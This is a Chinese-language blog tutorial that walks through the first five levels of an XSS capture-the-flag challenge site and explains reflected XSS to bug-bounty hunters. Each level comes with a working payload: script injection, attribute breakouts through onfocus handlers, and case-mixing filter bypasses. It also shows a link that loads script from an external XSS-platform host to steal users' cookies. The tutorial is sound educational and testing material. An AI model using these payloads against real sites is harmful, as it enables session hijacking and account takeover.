从xss挑战之旅来重读xss(一)

在开始这篇文章之前,先简单聊几句:

  • xss很多时候是鸡肋,比如说self-xss
  • 很多厂商都会注明拒收反射xss,如58src
  • 遇到请证明危害性的说法就走,人家的潜台词也是拒收反射xss
  • 遇到收反射xss的,证明截图拿cookies能比alert弹个窗多很多money
  • xss有时候也值很多钱,比如说某厂商的一个存储xss就给了3.5k

其实我们基本上都知道xss是什么,在给厂商提交漏洞的时候,关键在于着重说明,能影响哪些用户,怎么影响(操作难度问题),能拿到什么(cookies第一)

下面开始正文,先简单介绍下xss,然后以xss挑战之旅来进阶实战xss,视频版周末更新

如果喜欢这篇文章的,麻烦帮忙去我的b站点个关注,点赞,收藏,如果还能投个硬币的话,那就再感谢不过了!你的支持是我创作前进的最大动力!

什么是XSS

  • XSS全称:
    跨站脚本(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。

  • XSS的危害:
    窃取管理员/用户的cookie非法登录

  • XSS类型:
    1、反射型
    2、存储型
    3、DOM型

xss挑战之旅

http://xss.tesla-space.com/

前情提示:先自我尝试,遇到问题卡住,或者成功进入下一关再来阅读,会收获更多哦~
在这里插入图片描述

第一关

进去首先可以看到,没有任何的输入点,而页面上有一个test(用户名),url中也有一个name参数,猜测是将url中的name获取到的值,直接放入页面导致了xss,我们可以先试一下,看看页面上的值会不会根据name参数得到的值而改变
在这里插入图片描述
确定了我们的猜想,接下来,我们随便来个payload

http://test.ctf8.com/level1.php?name=<script>alert('hahah')</script>

轻松进入下一关,没有任何过滤。当然,这里作者只是为了一步一步引导xss学习,而不是说实战中就是这么简单(小声bb,确实也有这么简单的)
在这里插入图片描述
这里暂停一下,我们先来继续聊聊反射xss能做什么,比如说这里,我们来反射一个cookies看看。由于这个站点没有设置cookies,我就直接手动给他加cookies,来完成我们的问题演示
在这里插入图片描述
接下来,我们来试试,假如黑客要拿到我的cookies,他需要怎么样的一个payload,最简单就是通过xss平台来搞定
请注意!!! 除了ctf或者本地测试,请不要使用网络上的xss平台,因为你能拿到的如cookies数据,这些平台也能拿到,可能你是好心做公益测试,但是cookies的泄露,会给测试厂商带来很大的威胁!
在这里插入图片描述
试试效果,看看能不能搞到我编写的cookies
在这里插入图片描述
可以很清楚的看到,已经成功拿到了我编写的cookies。可能对于小白来说,已经有点蒙圈了,我们再来整理一遍逻辑吧

  • 首先,通过这个网站,我构造了一个模拟真实的环境:黑客找到一个站点存在反射xss,接下来他想要获取普通用户或者管理员的cookies(这个站点没有cookies,我手动添加了cookies),于是他通过xss平台构造了这样一个链接http://test.ctf8.com/level1.php?name=<script sRC=https://xss8.cc/yAy4></sCrIpT>
  • 普通用户收到这样一个链接(一般会配合一些文字做干扰),没有注意就点开了,且其已经登陆了这个网站(cookies未失效),所以黑客能轻松拿到用户的cookies,之后就能以普通用户的身份进行任何操作了
    可能你会说,这样一个明显有问题的链接,我肯定不会点,但,黑客可以对链接后面的参数进行混淆,添加无意义参数进行干扰,还可以用短链接等等操作,加上很多人的安全意识还没有完全养成,所以说反射xss也是有一定危害的

那你可能会问了,为什么反射xss很多厂商拒绝接受这种漏洞呢?答案当然是,这种漏洞的利用其实非常难,就以cookies举例

  • 用户安全意识提高
  • 不以cookies做唯一身份令牌,比如说我记录上次登录ip,不一样了就让这个cookies失效要求重新登陆;再比如说结合设备型号,参数等等

简单的反射xss就说这么多了,接下来进入第二关

第二关

和第一关一样的方法,我们先找到可疑的点,当我们改变唯一输入点的时候,页面有两处随之改变
在这里插入图片描述
接下来尝试常规payload,不能弹窗,也没有提示下一轮
在这里插入图片描述
右键查看源码,发现已经被被编码转义了

&lt;script&gt;alert('Vulnerable')&lt;/script&gt;

而下面的那处,没有被转移,其无法弹窗的原因是没有闭合引号和尖括号
在这里插入图片描述
我们闭合引号,尖括号即可成功进入下一关,payload如下:

http://test.ctf8.com/level2.php?keyword=1"><script>alert('Vulnerable')</script><&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

第三关

和第二关非常的相似,于是我选择使用同样的payload进行测试
在这里插入图片描述
这里出现了两个问题:

  • "无法闭合
  • ’变成了",且后面的被编码了
    所以首先,我们先可以使用’闭合前面的",之后由于我们出不去这个input标签,那我们就直接在标签内加载js,可选比如说onclick,onfocus等。之后测试发现对于等号后面参数会自动添上"",再就是后面多了一个’,我们需要使用//注释掉
    最后payload如下:
http://test.ctf8.com/level3.php?keyword=1'οnfοcus=alert(111)//&submit=%E6%90%9C%E7%B4%A22

在这里插入图片描述
在这里插入图片描述

第四关

和第三关非常的相似,我们使用"进行value值的闭合,之后直接使用onfocus执行js代码。由于多了一个",所以我们使用//进行注释,也就是说,执行的js代码是:alert(111)//"
在这里插入图片描述
payload如下:

http://test.ctf8.com/level4.php?keyword=1"οnfοcus=alert(111)//&submit=%E6%90%9C%E7%B4%A22

第五关

这一关还是和前面几关类似,我们继续使用第四关的payload进行尝试,发现onfocus被拦截了
在这里插入图片描述
尝试大小写绕过,没想到直接就成功绕过了
在这里插入图片描述
payload如下:

http://test.ctf8.com/level4.php?keyword=1"oNfocus=alert(111)//&submit=%E6%90%9C%E7%B4%A22

总结

文章的第一部分就到这里结束了,总结一下,我们学习了什么:

  • 反射xss的原理与危害性在哪里?
  • 反射xss如何进行弹窗?
  • 反射xss如何获取用户cookies?
  • 通过闭合标签,onfocus,大小写,规则猜解来进行反射xss的绕过

如果喜欢这篇文章的,麻烦帮忙去我的b站点个关注,点赞,收藏,如果还能投个硬币的话,那就再感谢不过了!你的支持是我创作前进的最大动力!

发布了168 篇原创文章 · 获赞 344 · 访问量 72万+

猜你喜欢

转载自blog.csdn.net/wy_97/article/details/102968400
xss